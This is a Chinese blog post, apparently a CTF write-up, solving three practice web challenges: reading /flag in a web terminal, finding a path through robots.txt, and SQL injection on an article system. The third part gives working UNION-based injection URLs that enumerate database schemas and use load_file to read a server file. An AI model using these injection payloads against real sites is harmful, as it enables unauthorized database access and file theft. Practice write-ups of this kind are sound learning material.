当前位置: 首页 > news >正文

青少年ctf练习平台--做题wp(1)

1.黑客终端

界面为终端页面,flag一般在主路径下,我们使用cat 查看文件

cat  /flag

2.robots

这题是robots文件,他是一个爬虫的规范库,写的路径是不允许被爬取的,会暴露路径,

我们查看后发现有个f1ag_1n_the_h3re.php,拼接路径,访问

3.文章管理系统

3.1弯路测试

(搞偏了,如需跳过,直接看3.2)

打开环境后点击下一章,看url有存在id字段,测试sql注入。

存在sql注入,继续测试。测试为两个字段。

1,2字段均可回显,查看版本,判断是否为5.0以上。

数据库名为word。再查询表。

库和表和字段为:word,articles,

查询这个word字段后发现flag不正确。那可能是数据库不对,所以得重新查下数据库(为啥不查同数据库的别的表呢,因为这个库就一个表,所以就得换库)

重新查询下数据库如图:information_schema,ctftraining,mysql,performance_schema,test,word

最后在ctfrainging库里发现关键词语flag_table,表,然后再继续测试。

http://challenge.qsnctf.com:31069/?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where  table_schema="ctftraining" --+

再查下表的列:

http://challenge.qsnctf.com:31069/?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where  table_schema="ctftraining" and table_name="FLAG_TABLE" --+

查询到字段为 

查询后没值,所以再找。发现查询不到值。实在搞不出来,有点了下提示。

3.2提示后再测试

提示说要执行命令,哦哦,那就是得用load_file,去查询下flag文件,直接掏出语句

http://challenge.qsnctf.com:31069/?id=1 and 1=2 union select 1,load_file("/flag") --+

出flag,结束,想不到好简单,一直查数据库,走了太多弯路。

相关文章:

  • 安卓基础(悬浮窗)
  • 在Windows系统中使用Docker发布镜像到镜像仓库
  • 数据结构4.0
  • IP伪装、代理池与分布式爬虫
  • AAA GitOps详解
  • 怎样提升社交机器人闲聊能力
  • 对比表格:数字签名方案、密钥交换协议、密码学协议、后量子密码学——密码学基础
  • GPU集群监控系统开发实录:基于Prometheus+Grafana的算力利用率可视化方案
  • 滑动窗口leetcode 904
  • 施磊老师rpc(三)
  • C++总结01-类型相关
  • 探索内容智能化的关键解决方案
  • 【Linux】进程优先级与进程切换理解
  • tp5 php获取农历年月日干支甲午
  • 55.[前端开发-前端工程化]Day02-包管理工具npm等
  • C++继承基础总结
  • 【AI面试准备】电商购物车AI测试设计与实施
  • Javase 基础入门 —— 07 接口
  • P1434 [SHOI2002] 滑雪
  • Redis持久化:
  • 央行:今日起下调再贷款利率0.25个百分点
  • 云南一男子酒后经常殴打七旬母亲,被警方拘14日罚600元
  • 金融监管总局:正在修订并购贷款管理办法,将进一步释放并购贷款的潜力
  • 机器人助力、入境游、演出引流:假期纳客千万人次城市有高招
  • 侯麦:从莫扎特到贝多芬
  • 戴紫薇评《不像说母语者》丨后殖民语境下的母语追寻